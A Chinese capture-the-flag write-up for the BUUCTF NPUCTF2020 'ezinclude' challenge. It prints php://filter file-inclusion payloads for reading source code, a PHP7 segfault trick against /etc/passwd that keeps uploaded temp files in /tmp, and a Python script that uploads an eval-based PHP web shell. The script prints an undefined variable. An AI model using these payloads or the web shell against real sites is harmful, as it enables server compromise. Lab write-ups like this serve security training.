zoukankan      html  css  js  c++  java
  • BUUCTF[NPUCTF2020]ezinclude wp

    进入页面

    查看源码发现提示

     

     cookie处发现可疑字符,尝试放入pass参数

     

     跳转404,连上burp看响应包,发现flflflflag.php

    尝试访问flflflflag.php,发现include($_GET["file"])的提示

    使用伪协议读取源码

    Payload:

    f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php

     

    f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

     

    ③f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=config.php

     

    读源码之后知道了出题人想要girlfriendinclude存在利用点,但是正则过滤了伪协议之后就不能用伪协议写马了,这里可以用php7 segment fault特性:
    php://filter/string.strip_tags=/etc/passwd
    php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

     

    脚本:

    import requests
    from io import BytesIO
    import re
    payload = "<?php eval($_POST[a]);?>"
    file_data={
       'file': BytesIO(payload.encode())
    }
    url="http://f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
    try:
       r=requests.post(url=url,files=file_data,allow_redirects=False)
    except:
            print(1)

    print(session)

     

    打开dir.php发现已经成功写入马了

    payload:/flflflflag.php?file=/tmp/phpX5gA3,post:a=phpinfo();在phpinfo中找到flag

     

    参考:

    https://blog.csdn.net/weixin_43610673/article/details/105898440

     

  • 相关阅读:
    练习!!标准体重
    C# 阶乘累加
    C# 阶乘
    C# 累加求和
    C# 100块钱,买2元一只的圆珠笔3块钱一个的尺子5元一个的铅笔盒每样至少一个,正好花光,有多少种花法。
    C# 一张纸0.00007m,折多少次和珠峰一样高
    C# 100以内质数
    C# 100以内质数和
    网站的基本布局
    C#递归
  • 原文地址:https://www.cnblogs.com/Yhck/p/13621000.html
Copyright © 2011-2022 走看看